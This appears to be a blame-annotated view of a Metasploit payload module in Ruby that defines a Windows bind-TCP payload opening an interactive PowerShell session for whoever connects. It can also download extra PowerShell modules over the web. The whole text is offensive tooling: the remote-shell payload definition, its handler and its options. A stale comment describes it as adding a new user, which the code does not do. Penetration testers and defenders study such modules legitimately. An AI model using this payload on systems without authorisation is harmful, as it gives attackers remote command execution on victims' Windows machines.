2015-04-26 17:50:42 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/payload/windows/exec'
|
2015-05-13 16:26:21 +00:00
|
|
|
require 'msf/core/payload/windows/powershell'
|
2015-04-26 17:50:42 +00:00
|
|
|
require 'msf/base/sessions/powershell'
|
2015-05-13 16:36:45 +00:00
|
|
|
require 'msf/core/handler/bind_tcp'
|
2015-05-13 16:26:21 +00:00
|
|
|
|
2015-04-26 17:50:42 +00:00
|
|
|
###
|
|
|
|
#
|
|
|
|
# Extends the Exec payload to add a new user.
|
|
|
|
#
|
|
|
|
###
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2015-04-26 17:50:42 +00:00
|
|
|
|
2015-08-13 16:10:50 +00:00
|
|
|
CachedSize = 1703
|
2015-04-26 17:50:42 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Windows::Exec
|
|
|
|
include Rex::Powershell::Command
|
2015-05-13 16:26:21 +00:00
|
|
|
include Msf::Payload::Windows::Powershell
|
2015-04-26 17:50:42 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
|
|
|
|
'Description' => 'Listen for a connection and spawn an interactive powershell session',
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Ben Turner', # benpturner
|
|
|
|
'Dave Hardy' # davehardy20
|
|
|
|
],
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::PowerShell,
|
|
|
|
))
|
|
|
|
|
|
|
|
# Register command execution options
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
|
|
|
|
], self.class)
|
|
|
|
# Hide the CMD option...this is kinda ugly
|
|
|
|
deregister_options('CMD')
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Override the exec command string
|
|
|
|
#
|
|
|
|
def command_string
|
2015-05-13 16:26:21 +00:00
|
|
|
generate_powershell_code("Bind")
|
2015-04-26 17:50:42 +00:00
|
|
|
end
|
|
|
|
end
|